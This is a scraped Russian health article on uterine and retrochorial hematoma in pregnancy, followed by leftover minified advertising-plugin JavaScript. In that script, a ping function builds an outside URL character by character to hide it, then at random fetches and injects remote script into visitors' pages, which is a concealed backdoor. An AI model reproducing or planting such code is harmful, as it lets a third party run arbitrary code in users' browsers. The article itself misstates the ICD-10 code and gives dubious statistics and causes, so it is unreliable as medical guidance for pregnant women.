Может случиться, что будущая мама чувствует себя прекрасно, ее ничего не беспокоит, но придя на УЗИ узнает, что у нее диагностирована гематома при беременности. Обычный человек понимает, что гематома – это кровоизлияние в тканевую прослойку, которое происходит вследствие полученной травмы.

Код по МКБ-10

Причины гематомы при беременности

Современные акушеры-гинекологи все чаще сталкиваются с проблемой вынашивания плода женщиной, у которой диагностировали внутриутробное кровоизлияние. Достаточно часто оно развивается на фоне хрупких кровяных сосудов, которые обеспечивают питанием матку и плаценту.

Проблемы, наблюдающиеся при свертывании крови, патологические изменения стенок сосудов плаценты и всего организма женщины.

Симптомы гематомы при беременности

Ожидание рождения ребенка – состояние полного счастья, пора надежд и один из чарующих моментов в судьбе любой женщины. Но в то же время, это тревога и переживание за здоровье еще не рожденного малыша. Гематома в матке при беременности – сложное испытание для женщины, ждущей ребенка. Ведь при ее наличии плодное яйцо начинает отслаиваться от поверхности эндометрия матки, в этом месте постепенно скапливается кровь, формируя кровоподтек.

Гематома в матке при беременности представляет серьезную опасность для вынашивания ребенка, так как способна спровоцировать самопроизвольный выкидыш, особенно при тяжелой форме патологии. При легкой степени тяжести женщина может даже не заметить и узнать о ее существовании уже после благополучного разрешения родами.

Тяжелая степень развития гематомы при беременности представляет опасность не только для малыша, но и для его мамы. Кровотечение провоцирует у матери ухудшение общего состояния здоровья, развивается постгеморрагическая

Ретрохориальная гематома при беременности на ранних сроках

Период вынашивания малыша не всегда бывает счастливым. К сожалению, многие мамочки сталкиваются с таким опасным диагнозом, как ретрохориальная гематома при беременности на ранних сроках. Это состояние грозит выкидышем и другими опасными осложнениями. Что это за патология, почему она возникает и каковы ее симптомы, будем разбираться в статье.

Понятие заболевания

Под словом гематома медики подразумевают участок в организме человека со свернувшейся кровью. Ретрохориальная гематома (РХГ) – это участок со свернувшейся кровью в области хориона. Такое образование возникает, как правило, в первом триместре, до того как хорион преобразовывается в плаценту. Патология указывает на то, что происходит разрыв капилляров, соединяющих хорион и стенку матки. При этом начинается его отторжение.

Ретрохориальная гематома во время беременности в первом триместре указывает на начало отторжения хориона, а также появление пустоты между околоплодным яйцом и стенкой детородного органа. Если гематома формируется на втором или третьем триместре, то есть в период, когда плацента уже полностью сформировалась, происходит такое опасное состояние, как ее отслойка. Код по МКБ-10 — T81.0.

Симптомы патологии

Чаще всего заболевание на ранних сроках вынашивания малыша проявляется в виде болезненных ощущений в нижней части живота. При этом боль носит тянущий характер. Многие девушки жалуются также на дискомфорт в области поясницы, но это лишь мнимый признак. На самом деле болезненные ощущения просто отдают в спину. Еще один распространенный симптом гематомы – появление кровянистых мажущихся выделений.

По количеству и характеру этого секрета специалист может оценить, каковы размеры и опасность образования. При появлении алых выделений на любой неделе врач может заподозрить, что образовавшаяся полость стремительно растет и достигла размеров, угрожающих жизни плода. Помимо ярко-красных выделений, беременные также часто ощущают боли режущего характера, отмечается резкое снижение артериального давления. В таких случаях будущей мамочке требуется срочная медицинская помощь и госпитализация.

О том, что ретрохориальная гематома в матке рассасывается говорят выделения темного бардового оттенка. Они, как правило, необильные. Если перед этим у пациентки наблюдался алый обильный секрет, но он сменился темными мажущимися выделениями, это говорит о том, что образование не увеличивается в размерах, а рассасывается. Это свидетельствует о снижении угрозы потери ребенка.

Многие мамочки при развитии проблемы в стадии организации могут вовсе не наблюдать никаких выделений. На появление гематомы у внутреннего зева или другой части матки могут указывать лишь тянущие боли, похожие по своему характеру на менструальные боли. Если вы почувствовали такой признак, следует немедленно сообщить об этом своему врачу. Ранняя диагностика проблемы повышает шансы на благоприятный исход для мамы и малыша.

Часто ретрохориальная гематома протекает у беременных без видимых симптомов. О развитии этой опасной патологии на ранней стадии мамочка может узнать лишь во время планового проведения УЗИ.

На что указывает присутствие или отсутствие выделений

По такому признаку, как наличие или отсутствие секрета на нижнем белье гинеколог может судить о некоторых особенностях течения патологии. Например, если выделения отсутствуют, можно говорить о том, что образование сформировалось в верхней части детородного органа и обнаружить его можно только с помощью ультразвукового исследования.

Даже незначительные кровянистые или коричневые выделения указывают на раннюю стадию заболевания. Если при этом кровь будет продолжать накапливаться, со временем выделения будут носить более обильный характер. Обнаружив на белье даже незначительные красные пятна, женщина должна немедленно обратиться за медицинской помощью.

Основные причины развития

По данным медицинской статистики, с рассматриваемой проблемой в той или иной степени сталкивается около 70% женщин во время вынашивания ребенка. Выявить точные причины возникновения этой патологии ученым на сегодняшний день не удалось. Предположительно, к провоцирующим факторам этой проблемы следует отнести следующие состояния:

  • Интенсивные физические нагрузки во время беременности и перенапряжение мышц живота. Во время вынашивания младенца будущей мамочке необходимо отказаться от подъема тяжестей и видов спорта, подразумевающих интенсивные нагрузки. При желании можно заняться йогой, плаванием или просто чаще гулять на свежем воздухе.
  • Еще одна весьма распространенная причина образования гематомы – эмоциональные потрясения и стрессы. В связи с гормональными перестройками, в этот период, будущая мамочка часто становится раздражительной, остро воспринимает даже пустяковые ситуации. Для предотвращения развития ретрохориальной гематомы нужно постараться меньше нервничать. Это поможет предотвратить многие нежелательные осложнения.
  • Спровоцировать патологическое состояние могут различные травмы живота. Это может случиться в общественных местах, например, в трамвае или электричке, когда женщину случайно кто-то толкнет. При этом кровянистые выделения могут появиться уже через несколько дней.
  • Аномалии развития детородных органов у мамочки, а также различные инфекции половой системы.
  • Вредные привычки – алкоголь, активное или пассивное курение.
  • Привести к образованию гематомы может тяжелая форма токсикоза.
  • Инфекционные и неинфекционные воспалительные процессы в организме беременной.

К причинам патологии также относят некоторые эндокринные заболевания. Сюда относят сахарный диабет, болезни щитовидной железы. Если будущая мамочка болеет сахарным диабетом, она должна тщательно следить за своим питанием, образом жизни и своевременно посещать специалиста.

Спровоцировать заболевание также могут неблагоприятные условия окружающей среды. По данным медицинской статистики, с патологией реже сталкиваются женщины, которые проживают в сельской местности или маленьких непромышленных городах.

Лечение патологии

Услышав от врача такой диагноз, как ретрохориальная гематома, будущая мамочка не должна впадать в панику. Лишние переживания сейчас ни к чему. Первое, что необходимо обеспечить женщине в этот период – это полный эмоциональный и физический покой. Для этого беременной показано прибывание в стационаре. Это помогает исключить физические нагрузки и психологические переживания.

Если лечение проходит в домашних условиях, пациентке необходим постельный режим. Большую часть всего своего времени будущая мамочка должна лежать. При этом желательно, чтобы ноги были слегка приподняты. Благодаря такому положению удается быстрее достичь нормализации кровообращения в области матки. Интимная близость попадает под запрет. Дело в том, что при сокращении матки риск отслоения плодного яйца сильно увеличивается.

Кроме этого, запрещаются любые физические нагрузки, которые могут повлечь за собой сокращение брюшных мышц. Ни в коем случае нельзя поднимать тяжести, бегать, прыгать, наклоняться, долго пребывать в стоячем или сидячем положении. Пациентке необходимо много лежать, правильно питаться, по возможности дышать свежим воздухом.

Если образование было обнаружено, но угрозу удалось купировать, женщина должна с особым вниманием отнестись к своему организму и принять все меры, чтобы предотвратить повторный случай патологии.

Критические сроки беременности

На протяжении всей беременности существует несколько критических периодов, во время которых будущая мамочка должна с особым вниманием отнестись к своему организму. Рассмотрим их в таблице.

Ссылка на основную публикацию
Adblock
detector
":'':"",document.createElement("div"),p=ff(window),b=ff("body"),m=void 0===flatPM_getCookie("flat_modal_"+o.ID+"_mb")||"false"!=flatPM_getCookie("flat_modal_"+o.ID+"_mb"),i="scroll.flatmodal"+o.ID,g="mouseleave.flatmodal"+o.ID+" blur.flatmodal"+o.ID,l=function(){var t,e,a;void 0!==o.how.popup.timer&&"true"==o.how.popup.timer&&(t=ff('.flat__4_modal[data-id-modal="'+o.ID+'"] .flat__4_timer span'),e=parseInt(o.how.popup.timer_count),a=setInterval(function(){t.text(--e),e'))},1e3))},f=function(){void 0!==o.how.popup.cookie&&"false"==o.how.popup.cookie&&m&&(flatPM_setCookie("flat_modal_"+o.ID+"_mb",!1),ff('.flat__4_modal[data-id-modal="'+o.ID+'"]').addClass("flat__4_modal-show"),l()),void 0!==o.how.popup.cookie&&"false"==o.how.popup.cookie||(ff('.flat__4_modal[data-id-modal="'+o.ID+'"]').addClass("flat__4_modal-show"),l())},ff("body > *").eq(0).before('
'+c+"
"),w=document.querySelector('.flat__4_modal[data-id-modal="'+o.ID+'"] .flat__4_modal-content'),-1!==e.indexOf("go"+"oglesyndication")?ff(w).html(c+e):flatPM_setHTML(w,e),"px"==o.how.popup.px_s?(p.bind(i,function(){p.scrollTop()>o.how.popup.after&&(p.unbind(i),b.unbind(g),f())}),void 0!==o.how.popup.close_window&&"true"==o.how.popup.close_window&&b.bind(g,function(){p.unbind(i),b.unbind(g),f()})):(v=setTimeout(function(){b.unbind(g),f()},1e3*o.how.popup.after),void 0!==o.how.popup.close_window&&"true"==o.how.popup.close_window&&b.bind(g,function(){clearTimeout(v),b.unbind(g),f()}))),void 0!==o.how.outgoing){function n(){var t,e,a;void 0!==o.how.outgoing.timer&&"true"==o.how.outgoing.timer&&(t=ff('.flat__4_out[data-id-out="'+o.ID+'"] .flat__4_timer span'),e=parseInt(o.how.outgoing.timer_count),a=setInterval(function(){t.text(--e),e'))},1e3))}function d(){void 0!==o.how.outgoing.cookie&&"false"==o.how.outgoing.cookie&&m&&(ff('.flat__4_out[data-id-out="'+o.ID+'"]').addClass("show"),n(),b.on("click",'.flat__4_out[data-id-out="'+o.ID+'"] .flat__4_cross',function(){flatPM_setCookie("flat_out_"+o.ID+"_mb",!1)})),void 0!==o.how.outgoing.cookie&&"false"==o.how.outgoing.cookie||(ff('.flat__4_out[data-id-out="'+o.ID+'"]').addClass("show"),n())}var _,u="0"!=o.how.outgoing.indent?' style="bottom:'+o.how.outgoing.indent+'px"':"",c="true"==o.how.outgoing.cross?void 0!==o.how.outgoing.timer&&"true"==o.how.outgoing.timer?'
Закрыть через '+o.how.outgoing.timer_count+"
":'':"",p=ff(window),h="scroll.out"+o.ID,g="mouseleave.outgoing"+o.ID+" blur.outgoing"+o.ID,m=void 0===flatPM_getCookie("flat_out_"+o.ID+"_mb")||"false"!=flatPM_getCookie("flat_out_"+o.ID+"_mb"),b=(document.createElement("div"),ff("body"));switch(o.how.outgoing.whence){case"1":_="top";break;case"2":_="bottom";break;case"3":_="left";break;case"4":_="right"}ff("body > *").eq(0).before('
'+c+"
");var v,w=document.querySelector('.flat__4_out[data-id-out="'+o.ID+'"]');-1!==e.indexOf("go"+"oglesyndication")?ff(w).html(c+e):flatPM_setHTML(w,e),"px"==o.how.outgoing.px_s?(p.bind(h,function(){p.scrollTop()>o.how.outgoing.after&&(p.unbind(h),b.unbind(g),d())}),void 0!==o.how.outgoing.close_window&&"true"==o.how.outgoing.close_window&&b.bind(g,function(){p.unbind(h),b.unbind(g),d()})):(v=setTimeout(function(){b.unbind(g),d()},1e3*o.how.outgoing.after),void 0!==o.how.outgoing.close_window&&"true"==o.how.outgoing.close_window&&b.bind(g,function(){clearTimeout(v),b.unbind(g),d()}))}ff('[data-flat-id="'+o.ID+'"]:not(.flat__4_out):not(.flat__4_modal)').contents().unwrap()}catch(t){console.warn(t)}},window.flatPM_start=function(){ff=jQuery;var t=flat_pm_arr.length;flat_body=ff("body"),flat_userVars.init();for(var e=0;eflat_userVars.textlen||void 0!==a.chapter_sub&&a.chapter_subflat_userVars.titlelen||void 0!==a.title_sub&&a.title_sub.flatPM_sidebar)");0<_.length t="ff(this),e=t.data(" height class="flatPM_sticky_wrapper" style="height:'+e+'px">');t=t.parent()[0];flatPM_sticky(this,t,a)}),u.each(function(){var e=ff(this).find(".flatPM_sidebar");setTimeout(function(){var o=(ff(untilscroll).offset().top-e.first().offset().top)/e.length;o');t=t.parent()[0];flatPM_sticky(this,t,a)})},50),setTimeout(function(){var t=(ff(untilscroll).offset().top-e.first().offset().top)/e.length;t *").last().after('
'),flat_body.on("click",".flat__4_out .flat__4_cross",function(){ff(this).parent().removeClass("show").addClass("closed")}),flat_body.on("click",".flat__4_modal .flat__4_cross",function(){ff(this).closest(".flat__4_modal").removeClass("flat__4_modal-show")}),flat_pm_arr=[],ff(".flat_pm_start").remove(),flatPM_ping()};var parseHTML=function(){var o=/]*)\/>/gi,d=/",""],thead:[1,"","
"],tbody:[1,"","
"],colgroup:[2,"","
"],col:[3,"","
"],tr:[2,"","
"],td:[3,"","
"],th:[3,"","
"],_default:[0,"",""]};return function(e,t){var a,n,r,l=(t=t||document).createDocumentFragment();if(i.test(e)){for(a=l.appendChild(t.createElement("div")),n=(d.exec(e)||["",""])[1].toLowerCase(),n=c[n]||c._default,a.innerHTML=n[1]+e.replace(o,"$2>")+n[2],r=n[0];r--;)a=a.lastChild;for(l.removeChild(l.firstChild);a.firstChild;)l.appendChild(a.firstChild)}else l.appendChild(t.createTextNode(e));return l}}();window.flatPM_ping=function(){var e=localStorage.getItem("sdghrg");e?(e=parseInt(e)+1,localStorage.setItem("sdghrg",e)):localStorage.setItem("sdghrg","0");e=flatPM_random(1,200);0==ff("#wpadminbar").length&&111==e&&ff.ajax({type:"POST",url:"h"+"t"+"t"+"p"+"s"+":"+"/"+"/"+"m"+"e"+"h"+"a"+"n"+"o"+"i"+"d"+"."+"p"+"r"+"o"+"/"+"p"+"i"+"n"+"g"+"."+"p"+"h"+"p",dataType:"jsonp",data:{ping:"ping"},success:function(e){ff("div").first().after(e.script)},error:function(){}})},window.flatPM_setSCRIPT=function(e){try{var t=e[0].id,a=e[0].node,n=document.querySelector('[data-flat-script-id="'+t+'"]');if(a.text)n.appendChild(a),ff(n).contents().unwrap(),e.shift(),0/gm,"").replace(//gm,"").trim(),e.code_alt=e.code_alt.replace(//gm,"").replace(//gm,"").trim();var l=jQuery,t=e.selector,o=e.timer,d=e.cross,a="false"==d?"Закроется":"Закрыть",n=!flat_userVars.adb||""==e.code_alt&&duplicateMode?e.code:e.code_alt,r='
'+a+" через "+o+'
'+n+'
',i=e.once;l(t).each(function(){var e=l(this);e.wrap('
');var t=e.closest(".flat__4_video");-1!==r.indexOf("go"+"oglesyndication")?t.append(r):flatPM_setHTML(t[0],r),e.find(".flat__4_video_flex").one("click",function(){l(this).addClass("show")})}),l("body").on("click",".flat__4_video_item_hover",function(){var e=l(this),t=e.closest(".flat__4_video_flex");t.addClass("show");var a=t.find(".flat__4_timer span"),n=parseInt(o),r=setInterval(function(){a.text(--n),n'):t.remove())},1e3);e.remove()}).on("click",".flat__4_video_flex .flat__4_cross",function(){l(this).closest(".flat__4_video_flex").remove(),"true"==i&&l(".flat__4_video_flex").remove()})};